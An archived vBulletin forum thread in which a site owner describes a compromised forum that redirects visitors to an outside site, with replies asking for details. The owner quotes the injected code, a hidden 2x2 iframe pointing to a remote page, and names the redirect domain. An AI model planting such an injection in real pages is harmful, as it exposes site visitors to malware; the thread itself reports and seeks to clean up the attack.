vb.org Archive

vb.org Archive (https://vborg.vbsupport.ru/index.php)
-   vB3 General Discussions (https://vborg.vbsupport.ru/forumdisplay.php?f=111)
-   -   Forum hacked (https://vborg.vbsupport.ru/showthread.php?t=293510)

Traxdata 01-02-2013 10:55 AM

Forum hacked
 
My forum was hacked for the first time ever -
buttons and images are not showing,
if I click on links in forums they redirect me to http://breakthrufundraising . com/ezzi.html this site,
have deleted all index.html files on server, all changed files rewrote to originals.
still nothing. any idea???

PS: Can't login to admincp since if I enter my PW my forum redirects me to the above mentioned website. Nothing can be changed.
I have closed forums via .htaccess

Thanks!

ForceHSS 01-02-2013 11:00 AM

link to site?

Traxdata 01-02-2013 11:05 AM

like mentioned I have closed the boards via .htaccess to protect that user pw's (if they login) will be forward.

ForceHSS 01-02-2013 01:43 PM

so without a link to your site that would help someone to find out what has been installed how are we to help you fix this problem. As all you have here is a post telling us you have a problem but no way for us to help you

Brandon Sheley 01-02-2013 01:44 PM

Why did you give us a live link to the guy "hacking" you?
Can you show us a screenshot of your images and buttons not showing, as you said?
Have you checked the server logs, I'd suggest changing your database info and finding out how you where compromised.

In Omnibus 01-02-2013 02:04 PM

Without a link to the site in need of assistance this is more like a spam thread for the link that has been posted.

doctorsexy 01-02-2013 02:13 PM

Watch that link. as it trys to load something..

Traxdata 01-02-2013 02:16 PM

I have two sites, check this one

- when you click on links you will be redirected to another (above mentioned) website. if you click "show image" you will also be redirected tio another website, I talked with my hoster they said someone had my FTP pw's
ok, I have replaced all files on darkshine.de but still not a big change!

--------------- Added [DATE]1357139850[/DATE] at [TIME]1357139850[/TIME] ---------------

changed the link

--------------- Added [DATE]1357139926[/DATE] at [TIME]1357139926[/TIME] ---------------

Quote:

Originally Posted by doctorsexy (Post 2394215)
Watch that link. as it trys to load something..

changed the link

--------------- Added [DATE]1357140311[/DATE] at [TIME]1357140311[/TIME] ---------------

They added to all my .html files this:
<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://salvadorpostigo . com/hzws.html>;</iframe>
Have deleted all the files and replaced with new files - not helped!

Searched for
%base64% %iframe%
in phpmyadmin

nothing suspicious found.

--------------- Added [DATE]1357140482[/DATE] at [TIME]1357140482[/TIME] ---------------

All the pictures from my server are not showing up neither on my sites nor on other places I have posted them!
Only if I click on "copy address for image" and paste in url bar I can see them.

Simon Lloyd 01-02-2013 02:40 PM

My antivirus wouldn't allow your site to load!

Traxdata 01-02-2013 02:46 PM

Yes, a big help, thx!


All times are GMT. The time now is 01:34 AM.

Powered by vBulletin® Version 3.8.12 by vBS
Copyright ©2000 - 2025, vBulletin Solutions Inc.

X vBulletin 3.8.12 by vBS Debug Information
  • Page Generation 0.09958 seconds
  • Memory Usage 1,730KB
  • Queries Executed 10 (?)
More Information
Template Usage:
  • (1)ad_footer_end
  • (1)ad_footer_start
  • (1)ad_header_end
  • (1)ad_header_logo
  • (1)ad_navbar_below
  • (1)bbcode_quote_printable
  • (1)footer
  • (1)gobutton
  • (1)header
  • (1)headinclude
  • (6)option
  • (1)pagenav
  • (1)pagenav_curpage
  • (2)pagenav_pagelink
  • (1)post_thanks_navbar_search
  • (1)printthread
  • (10)printthreadbit
  • (1)spacer_close
  • (1)spacer_open 

Phrase Groups Available:
  • global
  • postbit
  • showthread
Included Files:
  • ./printthread.php
  • ./global.php
  • ./includes/init.php
  • ./includes/class_core.php
  • ./includes/config.php
  • ./includes/functions.php
  • ./includes/class_hook.php
  • ./includes/modsystem_functions.php
  • ./includes/class_bbcode_alt.php
  • ./includes/class_bbcode.php
  • ./includes/functions_bigthree.php 

Hooks Called:
  • init_startup
  • init_startup_session_setup_start
  • init_startup_session_setup_complete
  • cache_permissions
  • fetch_threadinfo_query
  • fetch_threadinfo
  • fetch_foruminfo
  • style_fetch
  • cache_templates
  • global_start
  • parse_templates
  • global_setup_complete
  • printthread_start
  • pagenav_page
  • pagenav_complete
  • bbcode_fetch_tags
  • bbcode_create
  • bbcode_parse_start
  • bbcode_parse_complete_precache
  • bbcode_parse_complete
  • printthread_post
  • printthread_complete